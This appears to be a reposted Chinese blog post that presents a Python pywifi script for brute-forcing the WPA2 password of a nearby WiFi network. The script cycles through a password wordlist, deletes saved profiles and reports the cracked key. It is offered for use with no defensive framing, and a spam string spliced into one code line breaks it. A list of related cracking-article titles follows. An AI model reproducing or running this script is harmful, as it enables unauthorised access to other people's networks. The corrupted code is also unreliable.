Python攻防-暴力破解附近區域網WIFI密碼
import pywifi
from pywifi import const
import time
import datetime
# 測試連線,返回連結結果
def wifiConnect(pwd):
# 抓取網路卡介面
wifi = pywifi.PyWiFi()
# 獲取第一個無線網路卡
ifaces = wifi.interfaces()[0]
# 斷開所有連線
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 建立 WiFi 連線檔案
profile = pywifi.Profile()
# 要連線 WiFi 的名稱
profile.ssid = "Tr0e"
# 網路卡的開放狀態
profile.auth = const.AUTH_ALG_OPEN
# wifi 加密演算法 , 一般 wifi 加密演算法為 wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 呼叫密碼
profile.key = pwd
# 刪除所有連線過的 wifi 檔案
ifaces.remove_all_network_profiles()
# 設定新的連線檔案
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi 連線時間
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print(" 已有 wifi 連線 ")
# 讀取密碼本
def readPassword():
success = False
print("****************** WIFI 破解 ******************")
# 密碼本路徑
path = "pwd.txt"
# 開啟檔案
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
# 去除密碼的末尾換行符
pwd = 外匯跟單gendan5.compwd.strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] 密碼已破解: ", pwd)
print("[*] WiFi 已自動連線!!! ")
success = True
break
else:
# 跳出當前迴圈,進行下一次迴圈
print(" 正在破解 SSID 為 %s 的 WIFI 密碼,當前校驗的密碼為: %s"%("Tr0e",pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 本次破解 WIFI 密碼一共用了多長時間: {}".format(end - start))
else:
print("[*] 很遺憾未能幫你破解出當前指定 WIFI 的密碼,請更換密碼字典後重新嘗試! ")
exit(0)
if __name__=="__main__":
readPassword()
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69946337/viewspace-2889258/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 【超硬核】- python 3分鐘實現暴力破解wifi密碼EXE應用PythonWiFi密碼
- 如何通過Python暴力破解網站登陸密碼Python網站密碼
- Python暴力破解網站登入密碼(帶token驗證)Python網站密碼
- 區域網訪問共享檔案需要密碼怎麼辦?取消區域網共享檔案訪問密碼的方法密碼
- win10區域網設定密碼如何設定 win10區域網怎麼設定訪問密碼Win10密碼
- 攻防世界-柵欄密碼密碼
- win10系統怎麼取消區域網共享密碼Win10密碼
- Kali Linux破解wifi密碼(無須外接網路卡)LinuxWiFi密碼
- windows檢視wifi密碼WindowsWiFi密碼
- 1076 Wifi密碼 (15分)WiFi密碼
- Python技術分享:教你如何解密隔壁WiFi密碼Python解密WiFi密碼
- iPhone怎麼共享WiFi密碼安全嗎?iPhone共享WiFi密碼的方法教程iPhoneWiFi密碼
- win10如何檢視wifi密碼_win10檢視wifi密碼方法Win10WiFi密碼
- wifi的密碼忘記了怎樣才能找回_自家wifi密碼忘了咋找回WiFi密碼
- 超強python黑客技術,aircrack-ng突破 wifi 密碼!Python黑客AIWiFi密碼
- PAT-B 1076 Wifi密碼WiFi密碼
- win10電腦怎麼看wifi密碼_如何檢視win10wifi密碼Win10WiFi密碼
- win10看wifi密碼怎麼操作_怎麼檢視win10wifi密碼Win10WiFi密碼
- 區域網匿名不需要密碼就能訪問共享檔案的方法密碼
- Android之WiFi密碼檢視器AndroidWiFi密碼
- 用生成模型為自己生成密碼,無懼暴力破解模型密碼
- 樹莓派3B的WiFi中文亂碼及搜尋不到附近的WiFi_解決方案:樹莓派WiFi
- win10怎麼獲取wifi 密碼_win10系統wifi密碼怎麼檢視Win10WiFi密碼
- 路由器怎樣重新設定wifi密碼 路由器重設wifi密碼具體步驟路由器WiFi密碼
- PAT1076 WiFi密碼(java實現)WiFi密碼Java
- 區域網與廣域網
- 攻防世界-safer_than_rot13(替代密碼)密碼
- win10怎麼檢視wifi賬號密碼_win10電腦怎麼看wifi密碼Win10WiFi密碼
- win10怎麼看wifi密碼是多少_win10檢視wifi密碼的圖文教程Win10WiFi密碼
- win10怎麼檢視wifi密碼 win10顯示已連線的wifi密碼方法教程Win10WiFi密碼
- windows10系統如何修改wifi密碼WindowsWiFi密碼
- windows 檢視已連線的wifi密碼WindowsWiFi密碼
- 攻防世界-告述你個秘密(鍵盤密碼)密碼
- win10檢視儲存的wifi密碼_如何檢視win10電腦儲存的wifi密碼Win10WiFi密碼
- Docker 之 GitLab 區域網程式碼託管DockerGitlab
- python 建立密碼Python密碼
- 駭客能篡改WiFi密碼,源於存在漏洞WiFi密碼
- 關於WiFi密碼破解的一些心得WiFi密碼